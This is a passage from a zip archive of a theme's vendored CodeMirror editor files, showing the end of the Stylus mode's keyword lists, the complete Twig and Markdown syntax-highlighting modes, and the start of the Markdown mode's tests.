thiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small","bicubic","optimizespeed","grayscale","row","row-reverse","wrap","wrap-reverse","column-reverse","flex-start","flex-end","space-between","space-around"];

  var wordOperatorKeywords_ = ["in","and","or","not","is not","is a","is","isnt","defined","if unless"],
      blockKeywords_ = ["for","if","else","unless", "from", "to"],
      commonAtoms_ = ["null","true","false","href","title","type","not-allowed","readonly","disabled"],
      commonDef_ = ["@font-face", "@keyframes", "@media", "@viewport", "@page", "@host", "@supports", "@block", "@css"];

  var hintWords = tagKeywords_.concat(documentTypes_,mediaTypes_,mediaFeatures_,
                                      propertyKeywords_,nonStandardPropertyKeywords_,
                                      colorKeywords_,valueKeywords_,fontProperties_,
                                      wordOperatorKeywords_,blockKeywords_,
                                      commonAtoms_,commonDef_);

  function wordRegexp(words) {
    words = words.sort(function(a,b){return b > a;});
    return new RegExp("^((" + words.join(")|(") + "))\\b");
  }

  function keySet(array) {
    var keys = {};
    for (var i = 0; i < array.length; ++i) keys[array[i]] = true;
    return keys;
  }

  function escapeRegExp(text) {
    return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
  }

  CodeMirror.registerHelper("hintWords", "stylus", hintWords);
  CodeMirror.defineMIME("text/x-styl", "stylus");
});
PK     0w\
  
  B  customizer/framework/assets/js/vendor/codemirror/mode/twig/twig.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("twig", function() {
    var keywords = ["and", "as", "autoescape", "endautoescape", "block", "do", "endblock", "else", "elseif", "extends", "for", "endfor", "embed", "endembed", "filter", "endfilter", "flush", "from", "if", "endif", "in", "is", "include", "import", "not", "or", "set", "spaceless", "endspaceless", "with", "endwith", "trans", "endtrans", "blocktrans", "endblocktrans", "macro", "endmacro", "use", "verbatim", "endverbatim"],
        operator = /^[+\-*&%=<>!?|~^]/,
        sign = /^[:\[\(\{]/,
        atom = ["true", "false", "null", "empty", "defined", "divisibleby", "divisible by", "even", "odd", "iterable", "sameas", "same as"],
        number = /^(\d[+\-\*\/])?\d+(\.\d+)?/;

    keywords = new RegExp("((" + keywords.join(")|(") + "))\\b");
    atom = new RegExp("((" + atom.join(")|(") + "))\\b");

    function tokenBase (stream, state) {
      var ch = stream.peek();

      //Comment
      if (state.incomment) {
        if (!stream.skipTo("#}")) {
          stream.skipToEnd();
        } else {
          stream.eatWhile(/\#|}/);
          state.incomment = false;
        }
        return "comment";
      //Tag
      } else if (state.intag) {
        //After operator
        if (state.operator) {
          state.operator = false;
          if (stream.match(atom)) {
            return "atom";
          }
          if (stream.match(number)) {
            return "number";
          }
        }
        //After sign
        if (state.sign) {
          state.sign = false;
          if (stream.match(atom)) {
            return "atom";
          }
          if (stream.match(number)) {
            return "number";
          }
        }

        if (state.instring) {
          if (ch == state.instring) {
            state.instring = false;
          }
          stream.next();
          return "string";
        } else if (ch == "'" || ch == '"') {
          state.instring = ch;
          stream.next();
          return "string";
        } else if (stream.match(state.intag + "}") || stream.eat("-") && stream.match(state.intag + "}")) {
          state.intag = false;
          return "tag";
        } else if (stream.match(operator)) {
          state.operator = true;
          return "operator";
        } else if (stream.match(sign)) {
          state.sign = true;
        } else {
          if (stream.eat(" ") || stream.sol()) {
            if (stream.match(keywords)) {
              return "keyword";
            }
            if (stream.match(atom)) {
              return "atom";
            }
            if (stream.match(number)) {
              return "number";
            }
            if (stream.sol()) {
              stream.next();
            }
          } else {
            stream.next();
          }

        }
        return "variable";
      } else if (stream.eat("{")) {
        if (ch = stream.eat("#")) {
          state.incomment = true;
          if (!stream.skipTo("#}")) {
            stream.skipToEnd();
          } else {
            stream.eatWhile(/\#|}/);
            state.incomment = false;
          }
          return "comment";
        //Open tag
        } else if (ch = stream.eat(/\{|%/)) {
          //Cache close tag
          state.intag = ch;
          if (ch == "{") {
            state.intag = "}";
          }
          stream.eat("-");
          return "tag";
        }
      }
      stream.next();
    };

    return {
      startState: function () {
        return {};
      },
      token: function (stream, state) {
        return tokenBase(stream, state);
      }
    };
  });

  CodeMirror.defineMIME("text/x-twig", "twig");
});
PK     0w\Lb  Lb  J  customizer/framework/assets/js/vendor/codemirror/mode/markdown/markdown.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../xml/xml"), require("../meta"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../xml/xml", "../meta"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("markdown", function(cmCfg, modeCfg) {

  var htmlFound = CodeMirror.modes.hasOwnProperty("xml");
  var htmlMode = CodeMirror.getMode(cmCfg, htmlFound ? {name: "xml", htmlMode: true} : "text/plain");

  function getMode(name) {
    if (CodeMirror.findModeByName) {
      var found = CodeMirror.findModeByName(name);
      if (found) name = found.mime || found.mimes[0];
    }
    var mode = CodeMirror.getMode(cmCfg, name);
    return mode.name == "null" ? null : mode;
  }

  // Should characters that affect highlighting be highlighted separate?
  // Does not include characters that will be output (such as `1.` and `-` for lists)
  if (modeCfg.highlightFormatting === undefined)
    modeCfg.highlightFormatting = false;

  // Maximum number of nested blockquotes. Set to 0 for infinite nesting.
  // Excess `>` will emit `error` token.
  if (modeCfg.maxBlockquoteDepth === undefined)
    modeCfg.maxBlockquoteDepth = 0;

  // Should underscores in words open/close em/strong?
  if (modeCfg.underscoresBreakWords === undefined)
    modeCfg.underscoresBreakWords = true;

  // Use `fencedCodeBlocks` to configure fenced code blocks. false to
  // disable, string to specify a precise regexp that the fence should
  // match, and true to allow three or more backticks or tildes (as
  // per CommonMark).

  // Turn on task lists? ("- [ ] " and "- [x] ")
  if (modeCfg.taskLists === undefined) modeCfg.taskLists = false;

  // Turn on strikethrough syntax
  if (modeCfg.strikethrough === undefined)
    modeCfg.strikethrough = false;

  // Allow token types to be overridden by user-provided token types.
  if (modeCfg.tokenTypeOverrides === undefined)
    modeCfg.tokenTypeOverrides = {};

  var codeDepth = 0;

  var tokenTypes = {
    header: "header",
    code: "comment",
    quote: "quote",
    list1: "variable-2",
    list2: "variable-3",
    list3: "keyword",
    hr: "hr",
    image: "tag",
    formatting: "formatting",
    linkInline: "link",
    linkEmail: "link",
    linkText: "link",
    linkHref: "string",
    em: "em",
    strong: "strong",
    strikethrough: "strikethrough"
  };

  for (var tokenType in tokenTypes) {
    if (tokenTypes.hasOwnProperty(tokenType) && modeCfg.tokenTypeOverrides[tokenType]) {
      tokenTypes[tokenType] = modeCfg.tokenTypeOverrides[tokenType];
    }
  }

  var hrRE = /^([*\-_])(?:\s*\1){2,}\s*$/
  ,   ulRE = /^[*\-+]\s+/
  ,   olRE = /^[0-9]+([.)])\s+/
  ,   taskListRE = /^\[(x| )\](?=\s)/ // Must follow ulRE or olRE
  ,   atxHeaderRE = modeCfg.allowAtxHeaderWithoutSpace ? /^(#+)/ : /^(#+)(?: |$)/
  ,   setextHeaderRE = /^ *(?:\={1,}|-{1,})\s*$/
  ,   textRE = /^[^#!\[\]*_\\<>` "'(~]+/
  ,   fencedCodeRE = new RegExp("^(" + (modeCfg.fencedCodeBlocks === true ? "~~~+|```+" : modeCfg.fencedCodeBlocks) +
                                ")[ \\t]*([\\w+#]*)");

  function switchInline(stream, state, f) {
    state.f = state.inline = f;
    return f(stream, state);
  }

  function switchBlock(stream, state, f) {
    state.f = state.block = f;
    return f(stream, state);
  }

  function lineIsEmpty(line) {
    return !line || !/\S/.test(line.string)
  }

  // Blocks

  function blankLine(state) {
    // Reset linkTitle state
    state.linkTitle = false;
    // Reset EM state
    state.em = false;
    // Reset STRONG state
    state.strong = false;
    // Reset strikethrough state
    state.strikethrough = false;
    // Reset state.quote
    state.quote = 0;
    // Reset state.indentedCode
    state.indentedCode = false;
    if (!htmlFound && state.f == htmlBlock) {
      state.f = inlineNormal;
      state.block = blockNormal;
    }
    // Reset state.trailingSpace
    state.trailingSpace = 0;
    state.trailingSpaceNewLine = false;
    // Mark this line as blank
    state.prevLine = state.thisLine
    state.thisLine = null
    return null;
  }

  function blockNormal(stream, state) {

    var sol = stream.sol();

    var prevLineIsList = state.list !== false,
        prevLineIsIndentedCode = state.indentedCode;

    state.indentedCode = false;

    if (prevLineIsList) {
      if (state.indentationDiff >= 0) { // Continued list
        if (state.indentationDiff < 4) { // Only adjust indentation if *not* a code block
          state.indentation -= state.indentationDiff;
        }
        state.list = null;
      } else if (state.indentation > 0) {
        state.list = null;
        state.listDepth = Math.floor(state.indentation / 4);
      } else { // No longer a list
        state.list = false;
        state.listDepth = 0;
      }
    }

    var match = null;
    if (state.indentationDiff >= 4) {
      stream.skipToEnd();
      if (prevLineIsIndentedCode || lineIsEmpty(state.prevLine)) {
        state.indentation -= 4;
        state.indentedCode = true;
        return tokenTypes.code;
      } else {
        return null;
      }
    } else if (stream.eatSpace()) {
      return null;
    } else if ((match = stream.match(atxHeaderRE)) && match[1].length <= 6) {
      state.header = match[1].length;
      if (modeCfg.highlightFormatting) state.formatting = "header";
      state.f = state.inline;
      return getType(state);
    } else if (!lineIsEmpty(state.prevLine) && !state.quote && !prevLineIsList &&
               !prevLineIsIndentedCode && (match = stream.match(setextHeaderRE))) {
      state.header = match[0].charAt(0) == '=' ? 1 : 2;
      if (modeCfg.highlightFormatting) state.formatting = "header";
      state.f = state.inline;
      return getType(state);
    } else if (stream.eat('>')) {
      state.quote = sol ? 1 : state.quote + 1;
      if (modeCfg.highlightFormatting) state.formatting = "quote";
      stream.eatSpace();
      return getType(state);
    } else if (stream.peek() === '[') {
      return switchInline(stream, state, footnoteLink);
    } else if (stream.match(hrRE, true)) {
      state.hr = true;
      return tokenTypes.hr;
    } else if ((lineIsEmpty(state.prevLine) || prevLineIsList) && (stream.match(ulRE, false) || stream.match(olRE, false))) {
      var listType = null;
      if (stream.match(ulRE, true)) {
        listType = 'ul';
      } else {
        stream.match(olRE, true);
        listType = 'ol';
      }
      state.indentation = stream.column() + stream.current().length;
      state.list = true;
      state.listDepth++;
      if (modeCfg.taskLists && stream.match(taskListRE, false)) {
        state.taskList = true;
      }
      state.f = state.inline;
      if (modeCfg.highlightFormatting) state.formatting = ["list", "list-" + listType];
      return getType(state);
    } else if (modeCfg.fencedCodeBlocks && (match = stream.match(fencedCodeRE, true))) {
      state.fencedChars = match[1]
      // try switching mode
      state.localMode = getMode(match[2]);
      if (state.localMode) state.localState = state.localMode.startState();
      state.f = state.block = local;
      if (modeCfg.highlightFormatting) state.formatting = "code-block";
      state.code = true;
      return getType(state);
    }

    return switchInline(stream, state, state.inline);
  }

  function htmlBlock(stream, state) {
    var style = htmlMode.token(stream, state.htmlState);
    if ((htmlFound && state.htmlState.tagStart === null &&
         (!state.htmlState.context && state.htmlState.tokenize.isInText)) ||
        (state.md_inside && stream.current().indexOf(">") > -1)) {
      state.f = inlineNormal;
      state.block = blockNormal;
      state.htmlState = null;
    }
    return style;
  }

  function local(stream, state) {
    if (stream.sol() && state.fencedChars && stream.match(state.fencedChars, false)) {
      state.localMode = state.localState = null;
      state.f = state.block = leavingLocal;
      return null;
    } else if (state.localMode) {
      return state.localMode.token(stream, state.localState);
    } else {
      stream.skipToEnd();
      return tokenTypes.code;
    }
  }

  function leavingLocal(stream, state) {
    stream.match(state.fencedChars);
    state.block = blockNormal;
    state.f = inlineNormal;
    state.fencedChars = null;
    if (modeCfg.highlightFormatting) state.formatting = "code-block";
    state.code = true;
    var returnType = getType(state);
    state.code = false;
    return returnType;
  }

  // Inline
  function getType(state) {
    var styles = [];

    if (state.formatting) {
      styles.push(tokenTypes.formatting);

      if (typeof state.formatting === "string") state.formatting = [state.formatting];

      for (var i = 0; i < state.formatting.length; i++) {
        styles.push(tokenTypes.formatting + "-" + state.formatting[i]);

        if (state.formatting[i] === "header") {
          styles.push(tokenTypes.formatting + "-" + state.formatting[i] + "-" + state.header);
        }

        // Add `formatting-quote` and `formatting-quote-#` for blockquotes
        // Add `error` instead if the maximum blockquote nesting depth is passed
        if (state.formatting[i] === "quote") {
          if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth >= state.quote) {
            styles.push(tokenTypes.formatting + "-" + state.formatting[i] + "-" + state.quote);
          } else {
            styles.push("error");
          }
        }
      }
    }

    if (state.taskOpen) {
      styles.push("meta");
      return styles.length ? styles.join(' ') : null;
    }
    if (state.taskClosed) {
      styles.push("property");
      return styles.length ? styles.join(' ') : null;
    }

    if (state.linkHref) {
      styles.push(tokenTypes.linkHref, "url");
    } else { // Only apply inline styles to non-url text
      if (state.strong) { styles.push(tokenTypes.strong); }
      if (state.em) { styles.push(tokenTypes.em); }
      if (state.strikethrough) { styles.push(tokenTypes.strikethrough); }
      if (state.linkText) { styles.push(tokenTypes.linkText); }
      if (state.code) { styles.push(tokenTypes.code); }
    }

    if (state.header) { styles.push(tokenTypes.header, tokenTypes.header + "-" + state.header); }

    if (state.quote) {
      styles.push(tokenTypes.quote);

      // Add `quote-#` where the maximum for `#` is modeCfg.maxBlockquoteDepth
      if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth >= state.quote) {
        styles.push(tokenTypes.quote + "-" + state.quote);
      } else {
        styles.push(tokenTypes.quote + "-" + modeCfg.maxBlockquoteDepth);
      }
    }

    if (state.list !== false) {
      var listMod = (state.listDepth - 1) % 3;
      if (!listMod) {
        styles.push(tokenTypes.list1);
      } else if (listMod === 1) {
        styles.push(tokenTypes.list2);
      } else {
        styles.push(tokenTypes.list3);
      }
    }

    if (state.trailingSpaceNewLine) {
      styles.push("trailing-space-new-line");
    } else if (state.trailingSpace) {
      styles.push("trailing-space-" + (state.trailingSpace % 2 ? "a" : "b"));
    }

    return styles.length ? styles.join(' ') : null;
  }

  function handleText(stream, state) {
    if (stream.match(textRE, true)) {
      return getType(state);
    }
    return undefined;
  }

  function inlineNormal(stream, state) {
    var style = state.text(stream, state);
    if (typeof style !== 'undefined')
      return style;

    if (state.list) { // List marker (*, +, -, 1., etc)
      state.list = null;
      return getType(state);
    }

    if (state.taskList) {
      var taskOpen = stream.match(taskListRE, true)[1] !== "x";
      if (taskOpen) state.taskOpen = true;
      else state.taskClosed = true;
      if (modeCfg.highlightFormatting) state.formatting = "task";
      state.taskList = false;
      return getType(state);
    }

    state.taskOpen = false;
    state.taskClosed = false;

    if (state.header && stream.match(/^#+$/, true)) {
      if (modeCfg.highlightFormatting) state.formatting = "header";
      return getType(state);
    }

    // Get sol() value now, before character is consumed
    var sol = stream.sol();

    var ch = stream.next();

    if (ch === '\\') {
      stream.next();
      if (modeCfg.highlightFormatting) {
        var type = getType(state);
        var formattingEscape = tokenTypes.formatting + "-escape";
        return type ? type + " " + formattingEscape : formattingEscape;
      }
    }

    // Matches link titles present on next line
    if (state.linkTitle) {
      state.linkTitle = false;
      var matchCh = ch;
      if (ch === '(') {
        matchCh = ')';
      }
      matchCh = (matchCh+'').replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
      var regex = '^\\s*(?:[^' + matchCh + '\\\\]+|\\\\\\\\|\\\\.)' + matchCh;
      if (stream.match(new RegExp(regex), true)) {
        return tokenTypes.linkHref;
      }
    }

    // If this block is changed, it may need to be updated in GFM mode
    if (ch === '`') {
      var previousFormatting = state.formatting;
      if (modeCfg.highlightFormatting) state.formatting = "code";
      var t = getType(state);
      var before = stream.pos;
      stream.eatWhile('`');
      var difference = 1 + stream.pos - before;
      if (!state.code) {
        codeDepth = difference;
        state.code = true;
        return getType(state);
      } else {
        if (difference === codeDepth) { // Must be exact
          state.code = false;
          return t;
        }
        state.formatting = previousFormatting;
        return getType(state);
      }
    } else if (state.code) {
      return getType(state);
    }

    if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false)) {
      stream.match(/\[[^\]]*\]/);
      state.inline = state.f = linkHref;
      return tokenTypes.image;
    }

    if (ch === '[' && stream.match(/.*\](\(.*\)| ?\[.*\])/, false)) {
      state.linkText = true;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      return getType(state);
    }

    if (ch === ']' && state.linkText && stream.match(/\(.*\)| ?\[.*\]/, false)) {
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      state.linkText = false;
      state.inline = state.f = linkHref;
      return type;
    }

    if (ch === '<' && stream.match(/^(https?|ftps?):\/\/(?:[^\\>]|\\.)+>/, false)) {
      state.f = state.inline = linkInline;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkInline;
    }

    if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false)) {
      state.f = state.inline = linkInline;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkEmail;
    }

    if (ch === '<' && stream.match(/^(!--|\w)/, false)) {
      var end = stream.string.indexOf(">", stream.pos);
      if (end != -1) {
        var atts = stream.string.substring(stream.start, end);
        if (/markdown\s*=\s*('|"){0,1}1('|"){0,1}/.test(atts)) state.md_inside = true;
      }
      stream.backUp(1);
      state.htmlState = CodeMirror.startState(htmlMode);
      return switchBlock(stream, state, htmlBlock);
    }

    if (ch === '<' && stream.match(/^\/\w*?>/)) {
      state.md_inside = false;
      return "tag";
    }

    var ignoreUnderscore = false;
    if (!modeCfg.underscoresBreakWords) {
      if (ch === '_' && stream.peek() !== '_' && stream.match(/(\w)/, false)) {
        var prevPos = stream.pos - 2;
        if (prevPos >= 0) {
          var prevCh = stream.string.charAt(prevPos);
          if (prevCh !== '_' && prevCh.match(/(\w)/, false)) {
            ignoreUnderscore = true;
          }
        }
      }
    }
    if (ch === '*' || (ch === '_' && !ignoreUnderscore)) {
      if (sol && stream.peek() === ' ') {
        // Do nothing, surrounded by newline and space
      } else if (state.strong === ch && stream.eat(ch)) { // Remove STRONG
        if (modeCfg.highlightFormatting) state.formatting = "strong";
        var t = getType(state);
        state.strong = false;
        return t;
      } else if (!state.strong && stream.eat(ch)) { // Add STRONG
        state.strong = ch;
        if (modeCfg.highlightFormatting) state.formatting = "strong";
        return getType(state);
      } else if (state.em === ch) { // Remove EM
        if (modeCfg.highlightFormatting) state.formatting = "em";
        var t = getType(state);
        state.em = false;
        return t;
      } else if (!state.em) { // Add EM
        state.em = ch;
        if (modeCfg.highlightFormatting) state.formatting = "em";
        return getType(state);
      }
    } else if (ch === ' ') {
      if (stream.eat('*') || stream.eat('_')) { // Probably surrounded by spaces
        if (stream.peek() === ' ') { // Surrounded by spaces, ignore
          return getType(state);
        } else { // Not surrounded by spaces, back up pointer
          stream.backUp(1);
        }
      }
    }

    if (modeCfg.strikethrough) {
      if (ch === '~' && stream.eatWhile(ch)) {
        if (state.strikethrough) {// Remove strikethrough
          if (modeCfg.highlightFormatting) state.formatting = "strikethrough";
          var t = getType(state);
          state.strikethrough = false;
          return t;
        } else if (stream.match(/^[^\s]/, false)) {// Add strikethrough
          state.strikethrough = true;
          if (modeCfg.highlightFormatting) state.formatting = "strikethrough";
          return getType(state);
        }
      } else if (ch === ' ') {
        if (stream.match(/^~~/, true)) { // Probably surrounded by space
          if (stream.peek() === ' ') { // Surrounded by spaces, ignore
            return getType(state);
          } else { // Not surrounded by spaces, back up pointer
            stream.backUp(2);
          }
        }
      }
    }

    if (ch === ' ') {
      if (stream.match(/ +$/, false)) {
        state.trailingSpace++;
      } else if (state.trailingSpace) {
        state.trailingSpaceNewLine = true;
      }
    }

    return getType(state);
  }

  function linkInline(stream, state) {
    var ch = stream.next();

    if (ch === ">") {
      state.f = state.inline = inlineNormal;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkInline;
    }

    stream.match(/^[^>]+/, true);

    return tokenTypes.linkInline;
  }

  function linkHref(stream, state) {
    // Check if space, and return NULL if so (to avoid marking the space)
    if(stream.eatSpace()){
      return null;
    }
    var ch = stream.next();
    if (ch === '(' || ch === '[') {
      state.f = state.inline = getLinkHrefInside(ch === "(" ? ")" : "]");
      if (modeCfg.highlightFormatting) state.formatting = "link-string";
      state.linkHref = true;
      return getType(state);
    }
    return 'error';
  }

  function getLinkHrefInside(endChar) {
    return function(stream, state) {
      var ch = stream.next();

      if (ch === endChar) {
        state.f = state.inline = inlineNormal;
        if (modeCfg.highlightFormatting) state.formatting = "link-string";
        var returnState = getType(state);
        state.linkHref = false;
        return returnState;
      }

      if (stream.match(inlineRE(endChar), true)) {
        stream.backUp(1);
      }

      state.linkHref = true;
      return getType(state);
    };
  }

  function footnoteLink(stream, state) {
    if (stream.match(/^[^\]]*\]:/, false)) {
      state.f = footnoteLinkInside;
      stream.next(); // Consume [
      if (modeCfg.highlightFormatting) state.formatting = "link";
      state.linkText = true;
      return getType(state);
    }
    return switchInline(stream, state, inlineNormal);
  }

  function footnoteLinkInside(stream, state) {
    if (stream.match(/^\]:/, true)) {
      state.f = state.inline = footnoteUrl;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var returnType = getType(state);
      state.linkText = false;
      return returnType;
    }

    stream.match(/^[^\]]+/, true);

    return tokenTypes.linkText;
  }

  function footnoteUrl(stream, state) {
    // Check if space, and return NULL if so (to avoid marking the space)
    if(stream.eatSpace()){
      return null;
    }
    // Match URL
    stream.match(/^[^\s]+/, true);
    // Check for link title
    if (stream.peek() === undefined) { // End of line, set flag to check next line
      state.linkTitle = true;
    } else { // More content on line, check if link title
      stream.match(/^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/, true);
    }
    state.f = state.inline = inlineNormal;
    return tokenTypes.linkHref + " url";
  }

  var savedInlineRE = [];
  function inlineRE(endChar) {
    if (!savedInlineRE[endChar]) {
      // Escape endChar for RegExp (taken from http://stackoverflow.com/a/494122/526741)
      endChar = (endChar+'').replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
      // Match any non-endChar, escaped character, as well as the closing
      // endChar.
      savedInlineRE[endChar] = new RegExp('^(?:[^\\\\]|\\\\.)*?(' + endChar + ')');
    }
    return savedInlineRE[endChar];
  }

  var mode = {
    startState: function() {
      return {
        f: blockNormal,

        prevLine: null,
        thisLine: null,

        block: blockNormal,
        htmlState: null,
        indentation: 0,

        inline: inlineNormal,
        text: handleText,

        formatting: false,
        linkText: false,
        linkHref: false,
        linkTitle: false,
        em: false,
        strong: false,
        header: 0,
        hr: false,
        taskList: false,
        list: false,
        listDepth: 0,
        quote: 0,
        trailingSpace: 0,
        trailingSpaceNewLine: false,
        strikethrough: false,
        fencedChars: null
      };
    },

    copyState: function(s) {
      return {
        f: s.f,

        prevLine: s.prevLine,
        thisLine: s.thisLine,

        block: s.block,
        htmlState: s.htmlState && CodeMirror.copyState(htmlMode, s.htmlState),
        indentation: s.indentation,

        localMode: s.localMode,
        localState: s.localMode ? CodeMirror.copyState(s.localMode, s.localState) : null,

        inline: s.inline,
        text: s.text,
        formatting: false,
        linkTitle: s.linkTitle,
        code: s.code,
        em: s.em,
        strong: s.strong,
        strikethrough: s.strikethrough,
        header: s.header,
        hr: s.hr,
        taskList: s.taskList,
        list: s.list,
        listDepth: s.listDepth,
        quote: s.quote,
        indentedCode: s.indentedCode,
        trailingSpace: s.trailingSpace,
        trailingSpaceNewLine: s.trailingSpaceNewLine,
        md_inside: s.md_inside,
        fencedChars: s.fencedChars
      };
    },

    token: function(stream, state) {

      // Reset state.formatting
      state.formatting = false;

      if (stream != state.thisLine) {
        var forceBlankLine = state.header || state.hr;

        // Reset state.header and state.hr
        state.header = 0;
        state.hr = false;

        if (stream.match(/^\s*$/, true) || forceBlankLine) {
          blankLine(state);
          if (!forceBlankLine) return null
          state.prevLine = null
        }

        state.prevLine = state.thisLine
        state.thisLine = stream

        // Reset state.taskList
        state.taskList = false;

        // Reset state.trailingSpace
        state.trailingSpace = 0;
        state.trailingSpaceNewLine = false;

        state.f = state.block;
        var indentation = stream.match(/^\s*/, true)[0].replace(/\t/g, '    ').length;
        var difference = Math.floor((indentation - state.indentation) / 4) * 4;
        if (difference > 4) difference = 4;
        var adjustedIndentation = state.indentation + difference;
        state.indentationDiff = adjustedIndentation - state.indentation;
        state.indentation = adjustedIndentation;
        if (indentation > 0) return null;
      }
      return state.f(stream, state);
    },

    innerMode: function(state) {
      if (state.block == htmlBlock) return {state: state.htmlState, mode: htmlMode};
      if (state.localState) return {state: state.localState, mode: state.localMode};
      return {state: state, mode: mode};
    },

    blankLine: blankLine,

    getType: getType,

    fold: "markdown"
  };
  return mode;
}, "xml");

CodeMirror.defineMIME("text/x-markdown", "markdown");

});
PK     0w\h  h  F  customizer/framework/assets/js/vendor/codemirror/mode/markdown/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({tabSize: 4}, "markdown");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }
  var modeHighlightFormatting = CodeMirror.getMode({tabSize: 4}, {name: "markdown", highlightFormatting: true});
  function FT(name) { test.mode(name, modeHighlightFormatting, Array.prototype.slice.call(arguments, 1)); }
  var modeAtxNoSpace = CodeMirror.getMode({tabSize: 4}, {name: "markdown", allowAtxHeaderWithoutSpace: true});
  function AtxNoSpaceTest(name) { test.mode(name, modeAtxNoSpace, Array.prototype.slice.call(arguments, 1)); }
  var modeFenced = CodeMirror.getMode({tabSize: 4}, {name: "markdown", fencedCodeBlocks: true});
  function FencedTest(name) { test.mode(name, modeFenced, Array.prototype.slice.call(arguments, 1)); }
  var modeOverrideClasses = CodeMirror.getMode({tabsize: 4}, {
    name: "markdown",
    strikethrough: true,
    tokenTypeOverrides: {
      "header" : "override-header",
      "code" : "override-code",
      "quote" : "override-quote",
